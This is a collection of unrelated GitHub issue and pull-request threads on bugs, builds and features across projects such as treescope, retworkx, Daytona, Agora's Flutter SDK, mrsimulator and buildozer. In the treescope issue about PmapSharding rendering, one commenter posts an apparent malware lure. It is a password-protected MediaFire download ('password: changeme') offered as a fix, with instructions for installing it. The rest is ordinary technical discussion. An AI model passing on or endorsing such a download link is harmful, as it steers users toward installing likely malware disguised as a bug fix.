Slight offset in between tabs

Environment Details

Foundry Core Version: 0.7.9
System & Version: Dark Heresy 2
OS & Browser: W10
Hosting: AWS
(Forge, Self Hosted, Electron App, etc might be relevant)

Describe the bug
A clear and concise description of what the bug is.
When adding an extra Tab in the GM Screen, one of the looks slightly off in position, see the image:

I'm not able to reproduce this.
Dark Heresy 2e 2.1.0
Foundry Core 0.7.9
No other modules enabled. My background looks different than yours, maybe another module is conflicting?

Thanks for checking it out. I am not sure what it was but it felt like a left over from migration or multiple rows.
In any case,  clearing "reset" GM Screen fixed it for me! I just re-created the GM screen and now all good and looks fine.


Investigate using Rayon for parallelization

What is the expected enhancement?
In #78 we changed the hashmap implementation to use hashbrown for performance, but also to get
potential access to parallel iterators. In general though using rayon https://github.com/rayon-rs/rayon could provide a speed-up for places where we're in pure rust code. Especially for things like sorts where there are drop in parallel replacements from rayon (ie replace .sort_by_key() with .par_sort_by_key https://docs.rs/rayon/1.3.0/rayon/slice/trait.ParallelSliceMut.html#method.par_sort_by_key.  We should investigate using rayon  to speed up execution where it makes sense.

Now that #112 has merged rayon is now a dependency for retworkx. This issue is more about exploring how we can leverage rayon to speedup other more parts of retworkx (instead of just a single sort call).

It's worth pointing out that I have a benchmark suite here https://github.com/mtreinish/retworkx-bench however, there aren't good benchmarks for scaling tests. The benchmarks that do parameter sweeps are not good example graphs for testing scaling (they tend to be pretty pathological cases because I didn't test the generators I used). The large circuit examples are good for testing large networks but part of what we need to test for this is the overhead for smaller graphs and see how a parallel version scales. The new generators module in retworkx is useful for this.

Another use case of rayon in retworkx is being added in #166 which uses a parallel iterator from ndarray to parallelize over rows in the output matrix to calculate the distance matrix. I'm going to leave this open because it's really a short project to determine where in the existing code base we can get speedups from using rayon for parallelization.


#11133: Improve various things about the wheel, including removal of patchelf and linking runtime assets to cwd

Ticket
#11133
Problem description
Provide context for the problem.
What's changed
Describe the approach used to solve the problem.
Summarize the changes made and its impact.
Checklist

[ ] Post commit CI passes
[ ] Blackhole Post commit (if applicable)
[ ] Model regression CI testing passes (if applicable)
[ ] New/Existing tests provide coverage for changes

Will add much more documentation + explanation of what's going on per @ayerofieiev-tt 's suggestion

notes for merging:

ARCH_NAME / TT_METAL_HOME exclusion and changing workflows for that
ensuring we're in wheel mode


Use Node.js LTS version on CI (fixes Circle CI builds)

yarn build on Circle CI fails with  Cannot find module '@babel/compat-data/corejs3-shipped-proposals' error. This error appears in unstable Node.js versions.
Changed Circle CI config to use LTS Node.js version

Thank you! I switched the project to using GitHub actions, so we don't need to do this, and the error is fixed.


Incorrect binary search tree picture

According to the structure of a Binary search tree the right node is supposed to have a greater value than the parent one, so in this case the node must have a value greater than 5.

Here's the picture for replacement

Corresponding PR merged


[Discuss] Set app env-vars in startup.sh

(This is more proprosal than strong opinion, discuss)
I hit an issue when running bowl www frontend --without=frontend and
running frontend in a separate tab with ./startup, then hitting it
via www.dev.gov.uk/a-frontend-slug.
The issue is that when running under the router assets won't work unless
GOVUK_ASSET_ROOT is set (see https://github.com/alphagov/frontend/commit/77bb2cb3a05a8a87b23008f6fcc8b7f5ff9b88c5)
--
This is a slightly niche case, but it would be nice if we could use
startup.sh reliably to run an app, and get the same behaviour as if
it had been run with bowl (without depdencies).
--
I know there has been some talk of moving from the Procfile in
development containing the run command for an app in dev, to having
that be in the startup.sh per-app and have the Procfile call that. This
is a vague step in that direction, assuming we planned to remove the
duplication.

The obvious issue with this is that startup.sh will no longer run outside the VM. A potential solution would be to check if govuk_setenv exists before trying to use it.
Not sure how others feel about that - my preference is to make sure people are using the VM at all times for dev/prod parity, but I'm also aware people have different preferences and we should be respectful of that.

The obvious issue with this is that startup.sh will no longer run outside the VM. A potential solution would be to check if govuk_setenv exists before trying to use it.

Yeah, I assumed that would be one of the issues. AFAIK @elliotcm is the main non-VM user (that i'm aware of at least).
I'm still keen that it's easy to run simple FE apps outside the VM, which is straight-forward at the moment, and I've had great success helping designers/non-GOV.UK folks run simple apps without a VM.
So :+1: to making it conditional/ignore govuk_setenv if it doesn't exist.

I consider working outside the VM to be at my own risk and has only been worth the time because most of our applications have been added incrementally in the time I've been here.  I wouldn't recommend it to anyone starting afresh.
That said, @dsingleton your point about frontend apps is a good one, reinforced by the existence of the dummy content store.

This has been open for nearly 40 days, are we likely to reach a decision?

I don't think so. It's sparked a bit of discussion, which will be beneficial when we discuss this in the future, hopefully.
Happy to close this discussion.


CLI: fix output in case of error

The problem here was that the error subparser did not ignore the additional parameters intended to be passed to the actual subparser. This lead to very confusing error messages if additional parameters were passed to a subparser that could not be loaded.
Andreas Lauser<EMAIL_ADDRESS>on behalf of MBition GmbH.
Provider Information

Coverage decreased (-0.02%) to 92.765% when pulling cf1137976797795aa8a5968e9b17cd882f4f29d5 on Daimler:fail_gracefully into 3bbc98bd2a9fc2d62979fca0bbf9a6c9b8e84df1 on eerimoq:master.


Error when rendering JAX arrays built with jax.device_put_replicated

jax.device_put_replicated creates a PmapSharding, which can't be rendered correctly:
broken = jax.device_put_replicated(
    jnp.array([1,2,3]),
    jax.local_devices()
)
treescope.display(broken)

produces
Traceback (most recent call last):
  ...
  File "/usr/local/lib/python3.10/dist-packages/treescope/_internal/api/array_autovisualizer.py", line 193, in _autovisualize_array
    sharding_rendering = arrayviz.render_array_sharding(
  File "/usr/local/lib/python3.10/dist-packages/treescope/_internal/api/arrayviz.py", line 998, in render_array_sharding
    return render_sharding_info(
  File "/usr/local/lib/python3.10/dist-packages/treescope/_internal/api/arrayviz.py", line 785, in render_sharding_info
    assert slc.step is None
AttributeError: 'int' object has no attribute 'step'

This appears to be because the PmapSharding uses integers instead of length-1 slices to describe the sharding:
>>> broken.sharding.devices_indices_map(arr.shape)
{
TpuDevice(id=0, process_index=0, coords=(0,0,0), core_on_chip=0): (0, slice(None, None, None)),
TpuDevice(id=1, process_index=0, coords=(0,0,0), core_on_chip=1): (1, slice(None, None, None)),
TpuDevice(id=2, process_index=0, coords=(1,0,0), core_on_chip=0):  (2, slice(None, None, None)),
TpuDevice(id=3, process_index=0, coords=(1,0,0), core_on_chip=1): (3, slice(None, None, None)),
TpuDevice(id=4, process_index=0, coords=(0,1,0), core_on_chip=0): (4, slice(None, None, None)),
TpuDevice(id=5, process_index=0, coords=(0,1,0), core_on_chip=1): (5, slice(None, None, None)),
TpuDevice(id=6, process_index=0, coords=(1,1,0), core_on_chip=0): (6, slice(None, None, None)),
TpuDevice(id=7, process_index=0, coords=(1,1,0), core_on_chip=1): (7, slice(None, None, None)),
}

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Fixed in release 0.1.4.


Add existing address

The route for adding an existing wallet address.

You write data from request to db directly without any check so you can create a walletV3 with custodians that should be included only for msig wallets and should be None for rest wallets. Can you rework request using enum? Also you can get balance of a new account from request of account state not to set always zero balance.


Date Field calendar widget not available when in error mode

Affected Symphony version(s) : 2.7.7
PHP version(s) : All
OS(es) : All
Issue:
When in error, date field calendar is not being offered.
Error

No error

Expected:
To have the calendar available also in error mode. Because I can't write dates :baby:
Notes:
No errors present in browser's dev console a.k.a. Inspector.

Thanks for reporting. A 4 years old bug, congrats.


[Enhancement] Add mem statistics for segment for segment metadata

What type of PR is this：

[ ] bugfix
[ ] feature
[x] enhancement
[] refactor
[ ] others

Which issues of this PR fixes ：

Fixes #10458
Problem Summary(Required) ：

Currently it is too hard to troubleshoot metadata memory problem, and more detailed statistics are required.
Add mem statistics for segment for segment metadata.
Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] I have added user document for my new feature or new function

run starrocks_admit_test

run starrocks_admit_test


Better permalinks

cc: @KernelFolla

Ah! Meant to put this into my fork! Sorry. Still, @tmf - if you'd like, you can merge these! 😊


Docker running out of disk space when creating devcontainers

Describe the bug
While creating a workspace from a repo with dev container, an error is raised indicating that there is no space left on the device, despite having sufficient space on the remote target.
The process fails with the error message "ERROR: failed to solve: failed to prepare p1hwxc089qshhn1a2xuddosnu as m5rerz06teexqxpjlvnv60hnq: no space left on device".
The issue seems to be related to the local machine running out of disk space allocated to Docker, even though the remote machine has sufficient storage. The user has allocated 64GB of disk space to Docker on their Mac, but it appears that this is not enough for the devcontainer creation process.
This problem poses a significant challenge from a user experience standpoint, as even with a small number of simple Git repositories, the devcontainer creation process requires more than 64GB of local disk space allocated to docker.
Desktop (please complete the following information):

OS: MacOs Sonoma and Ubuntu 22.04 on remote
Daytona Version: v0.18.0

What would the desired solution be to this issue?

Ideally, on a high level, if I am working on a remote machines (targets), daytona should only consume minimal resources locally.

That is the plan, but it is not a complete solution. When using Daytona locally this issue will still be relevant. We can add information in the docs, but apart from that, any suggestion would be useful.

Can we implement a disk space check before initiating the devcontainer creation process. If the available disk space is insufficient, we could display a clear warning message to the user, specifying the amount of disk space required and the current availability.
In any case, we need to handle this in messaging, as to the end user it looks like the workspace has been created successfully.

Can we implement a disk space check before initiating the devcontainer creation process. If the available disk space is insufficient, we could display a clear warning message to the user, specifying the amount of disk space required and the current availability.

I would avoid this at all costs. If we go down this road, we would have to check for any possible docker error just to pretty up the error for the user. Insufficient disk space is not the only thing that can go wrong with building the devcontainer and us manually making every check doesn't make sense.

In any case, we need to handle this in messaging, as to the end user it looks like the workspace has been created successfully.

I'm pretty sure that the workspace did complete successfully, I believe it would have booted in our default image as the recovery process. The full logs of the creation process would help us out here

I suggest we improve our docs and explain why we currently only build images locally and why local docker is a requirement for that. That explanation should be sufficient for users to understand what happened when errors like this occur.

Closing this issue here, @nkkko if you feel we can improve our docs about this, please open an issue there.


Nfdiv 2650 nop js applicant

Change description
Enter a description.
JIRA link (if applicable)
https://tools.hmcts.net/jira/browse/NFDIV-2650
Before merging a pull request make sure that:

[ ] tests have been updated / new tests has been added (if needed)
[ ] README and other documentation has been updated / added (if needed)

If this ticket will have any visible impact on users and is not behind a feature toggle, make sure that:

[ ] this ticket been reviewed by QA
[ ] the user story been signed off by the PO

Note that bug fixes, dependency updates and technical tasks do not directly impact the user experience and can be merged without QA and PO review.
If this user story cannot be immediately merged find a way to put it behind a feature toggle and get it merged.

Closing this PR. Please see comment left by Aaron Moriarty on 13th of January 2023 on this ticket for full details as to why - https://tools.hmcts.net/jira/browse/NFDIV-2650.


Sandcastle ClampToTerrain sample fails to load CesiumWorldTerrain in Google Chrome Canary

Steps to recreate the problem:

Open Google Chrome Canary
Open Chrome Developer tools
Browse to the ClampToTerrian Sandcastle sample: https://cesiumjs.org/Cesium/Apps/Sandcastle/index.html?src=Clamp to Terrain.html

You will see that the CesiumWorldTerrain is not loaded.
Also in the developer tools console, you will see the following errors:
OPTIONS https://assets.cesium.com/1/layer.json 401 (InvalidCredentials)
Access to XMLHttpRequest at 'https://assets.cesium.com/1/layer.json' from origin 'https://cesiumjs.org' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: It does not have HTTP ok status.
I wonder if this has anything to do with the site isolation by default feature in Chrome 70+.
Please see the screenshot for the same:

The ClampToTerrain sample loads successfully in Chrome 69 but not in Chrome Canary (Version 71.0.3568.0).
I am encountering the same problem when I load my app in Chrome Canary.

Open Google Chrome Canary

Thanks for the report, this is a known regression in Google Chrome Canary and they have a bug on their end about it here: https://bugs.chromium.org/p/chromium/issues/detail?id=889004
I'll leave this open for now in case others in the community run into the same issue.

@mramato
I see you guys posted some more questions to google about the chromium bug.
Looks like Chrome 70 will land today or tomorrow as per https://techcrunch.com/2018/10/08/chrome-hundreds-of-sites-to-break/
is there a work around other than disabling the terrain provider for now?

@cherukumilli Thank for the heads up, the issue I linked to is marked as ReleaseBlock-Stable, so Chrome 70 can't go out until it's addressed one way or another.
That being said, we have a separate change that is being deployed to production later today, so that will mitigate the issue whether they decide to do anything about it on their end.  I'll bump/close this issue once that is in place.

While Chrome 70 stable did indeed come out today, it does not have the regression which was causing terrain not to load.
At the same time, the change I mentioned above is now live on our servers anyway, so everything is working as expected in Canary, even with the change.
@cherukumilli I'm going to close this, but please let me know if you are still having issues.  Thanks.

@mramato
Chrome 70 started rolling out today. I just checked my browser version and I got upgraded to chrome 70. Everything is working fine though. Looks like your production push fixed the problem on my side. :)


LBP1 Level Backport issues

Things I have noticed so far when trying to backport some levels that I want to play again:

Some logic such as magnetic keys/switches appear visible when they are not supposed to.
Level keys have no collision and are not collectable.
Emitters and IntMusic seem to be completely missing and do not show up even in create mode.
Non-Interactive music works in play mode, but the box itself is missing in create mode.

oops, wrong repo, sorry!


Fix connection errors when replacing node

Fixes #6602

Avoid connecting the signals to nonexistent methods
Preserve only persistent connections

Are we fine with using ERR_CONTINUE instead of silently ignoring the connection?

Are we fine with using ERR_CONTINUE instead of silently ignoring the connection?

Sounds good to me.


Yocto image with uboot not working for revolution pi?

I have built a rpi-basic-image provided by the meta-raspberrypi layer for raspberrypi and revolutionpi connect+. Now for my implementation, I need to use uboot. With meta-raspberrypi this is also quite simple, just add
RPI_USE_U_BOOT = "1"
in local.conf.
I have also set the machine variable as:
MACHINE = "raspberrypi-cm3"
With this configuration, the image successfully boots for raspberrypi but does not boot for revolution-pi connect+. Is it that revolution-pi does not have support for uboot? I have also posted the issue in the kunbus revolution pi forum but have not received any response. Any suggestion to make it work?

I haven't heard anyone testing that board so I wouldn't be able to give you feedback but I'm sure that if you ask the uboot guys they will know much more.

@agherzan I think it is not actually about the board, it's about the emmc. It probably does not work for raspberrypi when using emmc instead of sd card. I have seen a similar problem here https://www.raspberrypi.org/forums/viewtopic.php?t=217897 without any solution as well.


Create ticket management system for tracking who is assigned to tickets

make sure that only people who've had successful tickets can get assigned
soft assignments
create deadlines such that people get unassigned

What does "soft assignments" mean?

@mmirman Mentioned in another ticket as well https://algora.io/ would be able to handle this as well, and unassign people based on project configuration.


Unable to set VideoCodecType

How to set the codec for the video using VideoCodecType?

On Flutter Web?

I am implementing a regular one-on-one video calling application.
I too would like to know how to set the codec.
The documentation says to call startRtmpStreamWithTranscoding() when using liveTranscoding, but the codec-related arguments I can specify are
VideoCodecTypeForStream videoCodecType
and there are only two definitions
https://github.com/AgoraIO/Agora-Flutter-SDK/blob/d0d6fad1f1177460c079059675fe5d2f15bcc2a2/example/lib/examples/advanced/rtmp_streaming/rtmp_streaming.dart#L129-L187
final liveTranscoding = LiveTranscoding(
      transcodingUsers,
      width: width,
      height: height,
      videoBitrate: 400,
      videoCodecProfile: VideoCodecProfileType.High,
      videoCodecType: ,
      videoGop: 30,
      videoFramerate: VideoFrameRate.Fps24,
      lowLatency: false,
      audioSampleRate: AudioSampleRateType.Type44100,
      audioBitrate: 48,
      audioChannels: AudioChannel.Channel1,
      audioCodecProfile: AudioCodecProfileType.LCAAC,
    );
    await _rtcEngine?.startRtmpStreamWithTranscoding(url, transcoding);

enum VideoCodecTypeForStream {
  ///
  /// 1: (Default) H.264.
  ///
  @JsonValue(1)
  H264,

  ///
  /// 2: H.265.
  ///
  @JsonValue(2)
  H265,
}

The following enum called VideoCodecType exists, but I can't find where to specify it.
///
/// Video codec types.
///
///
enum VideoCodecType {
  ///
  /// Standard VP8.
  ///
  @JsonValue(1)
  VP8,

  ///
  /// Standard H.264.
  ///
  @JsonValue(2)
  H264,

  ///
  /// Enhanced VP8.
  ///
  @JsonValue(3)
  EVP,

  ///
  ///
  ///
  @JsonValue(4)
  E264,
}

In agora-web-sdk, codecs can be specified as follows
AgoraRTC.createClient({ mode: this.transcode, codec: 'vp8' })
Does anyone know how to set codecs like VP8 or web in Flutter or native SDK for
It seems that when using startRtmpStreamWithTranscoding, the Rtmp stream URL must be specified.
In other words, I would like to know how to set the codec when there is no unique Rtmp stream URL.

@LichKing-2234

I am implementing a regular one-on-one video calling application. I too would like to know how to set the codec.
The documentation says to call startRtmpStreamWithTranscoding() when using liveTranscoding, but the codec-related arguments I can specify are VideoCodecTypeForStream videoCodecType and there are only two definitions
https://github.com/AgoraIO/Agora-Flutter-SDK/blob/d0d6fad1f1177460c079059675fe5d2f15bcc2a2/example/lib/examples/advanced/rtmp_streaming/rtmp_streaming.dart#L129-L187
final liveTranscoding = LiveTranscoding(
      transcodingUsers,
      width: width,
      height: height,
      videoBitrate: 400,
      videoCodecProfile: VideoCodecProfileType.High,
      videoCodecType: ,
      videoGop: 30,
      videoFramerate: VideoFrameRate.Fps24,
      lowLatency: false,
      audioSampleRate: AudioSampleRateType.Type44100,
      audioBitrate: 48,
      audioChannels: AudioChannel.Channel1,
      audioCodecProfile: AudioCodecProfileType.LCAAC,
    );
    await _rtcEngine?.startRtmpStreamWithTranscoding(url, transcoding);

enum VideoCodecTypeForStream {
  ///
  /// 1: (Default) H.264.
  ///
  @JsonValue(1)
  H264,

  ///
  /// 2: H.265.
  ///
  @JsonValue(2)
  H265,
}

The following enum called VideoCodecType exists, but I can't find where to specify it.
///
/// Video codec types.
///
///
enum VideoCodecType {
  ///
  /// Standard VP8.
  ///
  @JsonValue(1)
  VP8,

  ///
  /// Standard H.264.
  ///
  @JsonValue(2)
  H264,

  ///
  /// Enhanced VP8.
  ///
  @JsonValue(3)
  EVP,

  ///
  ///
  ///
  @JsonValue(4)
  E264,
}

In agora-web-sdk, codecs can be specified as follows AgoraRTC.createClient({ mode: this.transcode, codec: 'vp8' }) Does anyone know how to set codecs like VP8 or web in Flutter or native SDK for
It seems that when using startRtmpStreamWithTranscoding, the Rtmp stream URL must be specified. In other words, I would like to know how to set the codec when there is no unique Rtmp stream URL.

Since agora_rtc_engine 6.0.0.
Future<void> setVideoEncoderConfiguration(VideoEncoderConfiguration config); allows to specify codecType.
This codecType has the following types.
/// Video codec types.
@JsonEnum(alwaysCreate: true)
enum VideoCodecType {
  /// @nodoc
  @JsonValue(0)
  videoCodecNone,

  /// 1: Standard VP8.
  @JsonValue(1)
  videoCodecVp8,

  /// 2: Standard H.264.
  @JsonValue(2)
  videoCodecH264,

  /// 3: Standard H.265.
  @JsonValue(3)
  videoCodecH265,

  /// 6: Generic.This type is used for transmitting raw video data, such as encrypted video frames. The SDK returns this type of video frames in callbacks, and you need to decode and render the frames yourself.
  @JsonValue(6)
  videoCodecGeneric,

  /// @nodoc
  @JsonValue(7)
  videoCodecGenericH264,

  /// @nodoc
  @JsonValue(12)
  videoCodecAv1,

  /// @nodoc
  @JsonValue(13)
  videoCodecVp9,

  /// 20: Generic JPEG.This type consumes minimum computing resources and applies to IoT devices.
  @JsonValue(20)
  videoCodecGenericJpeg,
}

You can specify the following.
final videoConfig = VideoEncoderConfiguration(
  dimensions: VideoDimensions(width: 640, height: 480),
  frameRate: VideoFrameRate.fps15,
  orientationMode: VideoOutputOrientationMode.FixedPortrait,
  encoderMirrorMode: VideoMirrorMode.Disabled,
  minBitrate: 0,
  degradationPreference: DegradationPreference.MaintainFramerate,
  mirrorMode: VideoMirrorMode.Disabled,
  bitrateAdjustmentType: BitrateAdjustmentType.Dynamic,
  videoCodecType: VideoCodecType.VP8, // Set the video codec to VP8
);

await _engine.setVideoEncoderConfiguration(videoConfig);

Resolved.
I hope this will be helpful for everyone.
@LichKing-2234
This isssue may be closed.

@kazy-dev thanks for your comments!


Run Vite Dev Server in middleware mode in development

As described in #48, Vite makes it possible to run the dev server in middleware mode which means that you don't need to run a separate Vite process and instead just inject its middleware straight into your express app. Those are the middleware that Vite internally uses to serve static files.
As a result a lot of moving parts were removed in favor of more Vite-dependent code. That also means that config options like vitePort or printViteDevServerHost are no longer needed and were removed.
What is also mean is that the support for multi-page applications is temporarily dropped until I'll figure out how to handle that.

What is also mean is that the support for multi-page applications is temporarily dropped until I'll figure out how to handle that.

Is reintroducing support for multi-page still being considered?

@neelav, currently there is no planned support for it. What is your use case? Maybe it is possible to do that with the current API.

I'd like to serve multiple unrelated SPAs from within a single vite project.  I've just started investigating so it's very possible that this is already supported.

So you want to have multiple HTML entry points, and serve them on different Express routes, do I got that right? Do you want to support client side routing or not?

Yes, that is correct.  Also each html entry point would have client side routing using, say, react-router-dom.


Install problem on Anaconda

Did you find a bug? Please help us improve by fill out the sections below. 👍
Describe the bug
I reinstalled Anaconda version Anaconda3-2024.06-1-Windows-x86_64.
When I try to install mrsimulator the install crashes.
To Reproduce
Install Anaconda
Start Anaconda NAvigator
Open CMD.exe Prompt
type pip install mrsimulator
the install crashes, see out put below.

OS: [e.g. macOS]
Windows 10
Python version: [e.g. 3.12.1]
Python 3.12.4
mrsimulator version: [e.g. 0.3]
0.70

Add any other context about the problem here.
(base) C:\Users\frey>pip install mrsimulator
Collecting mrsimulator
Using cached mrsimulator-0.7.0.tar.gz (337 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... error
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> [20 lines of output]
Traceback (most recent call last):
File "C:\Users\frey\AppData\Local\anaconda3\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 353, in
main()
File "C:\Users\frey\AppData\Local\anaconda3\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 335, in main
json_out['return_val'] = hook(**hook_input['kwargs'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\frey\AppData\Local\anaconda3\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 118, in get_requires_for_build_wheel
return hook(config_settings)
^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\frey\AppData\Local\Temp\pip-build-env-7zeisoby\overlay\Lib\site-packages\setuptools\build_meta.py", line 332, in get_requires_for_build_wheel
return self._get_build_requires(config_settings, requirements=[])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\frey\AppData\Local\Temp\pip-build-env-7zeisoby\overlay\Lib\site-packages\setuptools\build_meta.py", line 302, in _get_build_requires
self.run_setup()
File "C:\Users\frey\AppData\Local\Temp\pip-build-env-7zeisoby\overlay\Lib\site-packages\setuptools\build_meta.py", line 503, in run_setup
super().run_setup(setup_script=setup_script)
File "C:\Users\frey\AppData\Local\Temp\pip-build-env-7zeisoby\overlay\Lib\site-packages\setuptools\build_meta.py", line 318, in run_setup
exec(code, locals())
File "", line 14, in
ModuleNotFoundError: No module named 'numpy.distutils'
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.
note: This error originates from a subprocess, and is likely not a problem with pip.

Hi,
mrsimulator v0.7 supports build for py3.10 and lower. You are using 3.12. I recommend creating a conda env for python 3.10 and installing it there.
You can create a conda env with
conda create -n mrsim_env python=3.10
then activate the env using
conda activate mrsim_env
Now install mrsimulator.
Please let know if you find other bug. Happy to assist.
Best,
-Deepansh

That fixed the problem.  Thank you.


read proxy resources from DB with auto refresh (closes #4)

Current coverage is 91.71% (diff: 96.02%)

Merging #69 into master will increase coverage by 0.13%

@@             master        #69   diff @@
==========================================
  Files            22         25     +3
  Lines          2483       2596   +113
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           2274       2381   +107
- Misses          155        159     +4
- Partials         54         56     +2

Powered by Codecov. Last update 79053f7...64907e4


Undoing all changes does not reset the "file unsaved" marker

This has been fixed most likely in 911d5f6aad1a31a750b0f15d68e5d714f7e63e37


Accessibility of getting started editor

Getting started editor is now nicely keyboard navigable, but there are more improvements to be made.
Running list:

[x] Some way to announce images
[x] Ensure collapsible button model works with screen readers
[x] Ensure the overall navigation story makes sense (if the welcome editor is getting started, is it possible to figure out where you are and what to do via only the screen reader?)

cc @isidorn for suggestions!

@JacksonKearl thanks for creating this issue.
Can you please share what setting I need to set in order to get the getting started editor. I tried to get to it last week but failed.
Then I can give it a spin and provide more feedback.
Once we have it in a nice spot, we can also ask for community feedback.

workbench.experimental.gettingStarted, then it will be in help menu and command palette.

@JacksonKearl great, I successfuly enabled it. I think it looks cool, and it would be great to maybe share it in the UX channel so Zurich people can try it out and comment. Regarding accessibility, here are the items that I think we should tackle (let me know if you would prefer that I create separate issues for this):

[ ]  Arrow navigation should just work
[ ] esc should have the same effect as skip
[ ] set aria-expanded on collapsable buttons. aria-expanded should be true when they are expanded, false when collapsed
[ ] set appropriate aria role on each element
[ ] "Learn the fundamentals" part can not be focused thus it is hidden from screen reader users. Maybe set an aria-label somewhere to also capture that content for screen reader users or make it focusable
[ ] Same for "Quick Setup" top part

I also have some general ux suggestions, but maybe you present this in the UX meeting (unless you have already).
Once you tackle this I can give it another pass. Thanks for working on this.
fyi @misolori

@isidorn we've actually have brought this up a couple of times during our ux sync so feel free to file any issues or start a discussion in our ux channel if there's anything specific.

@misolori oh I thought that we brought up early slides, but not the final looks. I might have missed one of the meetings. No worries, I will file issues if I have suggestions.

Thanks for all the feedback! Implemented most of them but I was unable to repro not being able to focus the main content buttons, in my testing they focused fine and voceover read them as expected. Closing this out, please feel free to open additional a11y followups as new issues.

Lovely thanks! I'll give it another spin, but maybe the best would be once you create a test plan item for this that you assign me for testing. So i can test it in general and checkout a11y state


feat: Update categories to iso standard

I have updated the categories to match the ISO standard. I have also arranged them in the same order as they appear on the website
This MR contains breaking changes for the schema. When merged, a new release should be released.

Should update the documentation with the updated categories as well, located under data in the docs

Should update the documentation with the updated categories as well, located under data in the docs

Fixed! Good catch


Update Cordova Keyboard Dependency

Can you push a new version with this change, I am not sure how I can depend on this in my project. Removing and readding meteor-ionic does NOT get me this commit.

I can take care of that, on my todo for today @codebreach. Will update this thread.

ping?

@codebreach version 0.2.0 has been pushed to atmosphere

gacias
On Sat, Jan 9, 2016 at 8:05 AM Ben Strahan<EMAIL_ADDRESS>wrote:

@codebreach https://github.com/codebreach version 0.2.0 has been pushed
to atmosphere
—
Reply to this email directly or view it on GitHub
https://github.com/meteoric/meteor-ionic/pull/364#issuecomment-170182797
.


It seems lost some file. For example those mp3 files,please help me,thanks a lot!

The question is:

When i run this command 'buildozer android_new debug deploy run' , i got a apk file but i can get nothing about mp3 file in the apk package (rename the apk to zip).

I can run it in the ubuntu and then it will play mp3 music. Like this command  'python main.py',but my nexus 5(android 6.0.1) can't run it (just show me a black background when i run the apk)

==================================================================
# The main.py file:
from kivy.app import App
from kivy.uix.button import Button

import pygame

class playIt(App):

    def build(self):
        #file = './assets/lucky.mp3'
        file = 'res/lucky.mp3'
        pygame.init()
        pygame.mixer.init()
        pygame.mixer.music.load(file)
        while pygame.mixer.music.get_busy():
            pygame.time.Clock().tick(10)
        pygame.mixer.music.play()
        return Button(text="something",background_color=(0,0,1,1),font_size=150)

if __name__ == "__main__":
    playIt().run()

My spec file:
[app]

# (str) Title of your application
title = automusic

# (str) Package name
package.name = automusic

# (str) Package domain (needed for android/ios packaging)
package.domain = org.test

# (str) Source code where the main.py live
source.dir = .

# (list) Source files to include (let empty to include all the files)
source.include_exts = py,png,jpg,kv,atlas,mp3

# (list) List of inclusions using pattern matching
source.include_patterns = assets/*,images/*.png,res/*.mp3

# (list) Source files to exclude (let empty to not exclude anything)
#source.exclude_exts = spec

# (list) List of directory to exclude (let empty to not exclude anything)
source.exclude_dirs = tests, bin

# (list) List of exclusions using pattern matching
#source.exclude_patterns = license,images/*/*.jpg

# (str) Application versioning (method 1)
version = 0.2

# (str) Application versioning (method 2)
# version.regex = __version__ = ['"](.*)['"]
# version.filename = %(source.dir)s/main.py

# (list) Application requirements
# comma seperated e.g. requirements = sqlite3,kivy
requirements = pygame,kivy

# (str) Custom source folders for requirements
# Sets custom source for any requirements with recipes
# requirements.source.kivy = ../../kivy

# (list) Garden requirements
#garden_requirements =

# (str) Presplash of the application
#presplash.filename = %(source.dir)s/data/presplash.png

# (str) Icon of the application
#icon.filename = %(source.dir)s/data/icon.png

# (str) Supported orientation (one of landscape, portrait or all)
orientation = landscape

# (list) List of service to declare
#services = NAME:ENTRYPOINT_TO_PY,NAME2:ENTRYPOINT2_TO_PY

#
# OSX Specific
#

#
# author = 漏 Copyright Info

#
# Android specific
#

# (bool) Indicate if the application should be fullscreen or not
fullscreen = 1

# (list) Permissions
#android.permissions = INTERNET

# (int) Android API to use
#android.api = 19
android.api = 17

# (int) Minimum API required
#android.minapi = 9

# (int) Android SDK version to use
android.sdk = 24

# (str) Android NDK version to use
#android.ndk = 9c
android.ndk = 12b

# (bool) Use --private data storage (True) or --dir public storage (False)
#android.private_storage = True

# (str) Android NDK directory (if empty, it will be automatically downloaded.)
#android.ndk_path =

# (str) Android SDK directory (if empty, it will be automatically downloaded.)
#android.sdk_path =

# (str) ANT directory (if empty, it will be automatically downloaded.)
#android.ant_path =

# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)
#android.p4a_dir =

# (list) python-for-android whitelist
#android.p4a_whitelist =

# (bool) If True, then skip trying to update the Android sdk
# This can be useful to avoid excess Internet downloads or save time
# when an update is due and you just want to test/build your package
# android.skip_update = False

# (str) Bootstrap to use for android builds (android_new only)
# android.bootstrap = sdl2
android.bootstrap = pygame

# (str) Android entry point, default is ok for Kivy-based app
#android.entrypoint = org.renpy.android.PythonActivity

# (list) List of Java .jar files to add to the libs so that pyjnius can access
# their classes. Don't add jars that you do not need, since extra jars can slow
# down the build process. Allows wildcards matching, for example:
# OUYA-ODK/libs/*.jar
#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar

# (list) List of Java files to add to the android project (can be java or a
# directory containing the files)
#android.add_src =

# (str) python-for-android branch to use, if not master, useful to try
# not yet merged features.
#android.branch = master

# (str) OUYA Console category. Should be one of GAME or APP
# If you leave this blank, OUYA support will not be enabled
#android.ouya.category = GAME

# (str) Filename of OUYA Console icon. It must be a 732x412 png image.
#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png

# (str) XML file to include as an intent filters in <activity> tag
#android.manifest.intent_filters =

# (list) Android additionnal libraries to copy into libs/armeabi
